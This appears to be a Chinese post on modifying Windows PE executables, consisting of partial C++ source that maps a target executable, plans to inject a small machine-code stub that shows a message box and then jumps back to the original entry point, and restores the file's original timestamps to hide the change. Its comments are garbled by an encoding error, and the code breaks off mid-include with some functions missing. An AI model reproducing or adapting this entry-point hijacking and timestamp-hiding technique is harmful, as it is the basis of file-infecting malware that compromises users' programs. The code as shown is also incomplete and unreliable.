关于PE可执行文件的修改

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//writePE.cpp
#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <time.h>
#include <SYS\STAT.H>
unsigned char writeline[18]={
0x6a,0x40,0x6a,0x0,0x6a,0x0,0x6a,0x0,0xe8,0x01,0x0,0x0,0x0,0xe9,0x0,0x0,0x0,0x0
};
DWORD space;
DWORD entryaddress;
DWORD entrywrite;
DWORD progRAV;
DWORD oldentryaddress;
DWORD newentryaddress;
DWORD codeoffset;
DWORD peaddress;
DWORD flagaddress;
DWORD flags;
DWORD virtsize;
DWORD physaddress;
DWORD physsize;
DWORD MessageBoxAadaddress;
int main(int argc,char * * argv)
{
HANDLE hFile, hMapping;
void *basepointer;
FILETIME * Createtime;
FILETIME * Accesstime;
FILETIME * Writetime;
Createtime = new FILETIME;
Accesstime = new FILETIME;
Writetime = new FILETIME;
if ((hFile = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0)) == INVALID_HANDLE_VALUE)//′ò?aòaDT??μ????t
{
puts("(could not open)");
return EXIT_FAILURE;
}
if(!GetFileTime(hFile,Createtime,Accesstime,Writetime))
{
printf("\nerror getfiletime: %d\n",GetLastError());
}
//μ?μ?òaDT?????tμ?′′?¨?￠DT??μèê±??
if (!(hMapping = CreateFileMapping(hFile, 0, PAGE_READONLY | SEC_COMMIT, 0, 0, 0)))
{
puts("(mapping failed)");
CloseHandle(hFile);
return EXIT_FAILURE;
}
if (!(basepointer = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0)))
{
puts("(view failed)");
CloseHandle(hMapping);
CloseHandle(hFile);
return EXIT_FAILURE;
}
//°????tí·ó3?ó′?è?baseointer
CloseHandle(hMapping);
CloseHandle(hFile);
map_exe(basepointer);//μ?μ??à1?μ??·
UnmapViewOfFile(basepointer);
printaddress();
printf("\n\n");
if(space<50)
{
printf("\n????ì?D?,êy?Y2??üD′è?.\n");
}
else
{
writefile();//D′???t
}
if ((hFile = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0)) == INVALID_HANDLE_VALUE)
{
puts("(could not open)");
return EXIT_FAILURE;
}
if(!SetFileTime(hFile,Createtime,Accesstime,Writetime))
{
printf("error settime : %d\n",GetLastError());
}
//???′DT??oó???tμ??¨á￠ê±??μè
delete Createtime;
delete Accesstime;
delete Writetime;
CloseHandle(hFile);
return 0;
}
void map_exe(const void *base)
{
IMAGE_DOS_HEADER * dos_head;
dos_head =(IMAGE_DOS_HEADER *)base;
#include <pshpack1.h>
typedef struct PE_HEADER_MAP
{
DWORD signature;
IMAGE_FILE_HEADER _head;
IMAGE_OPTIONAL_HEADER opt_head;
IMAGE_SECTION_HEADER section_header[];
} peHeader;
#include <poppack.h&g

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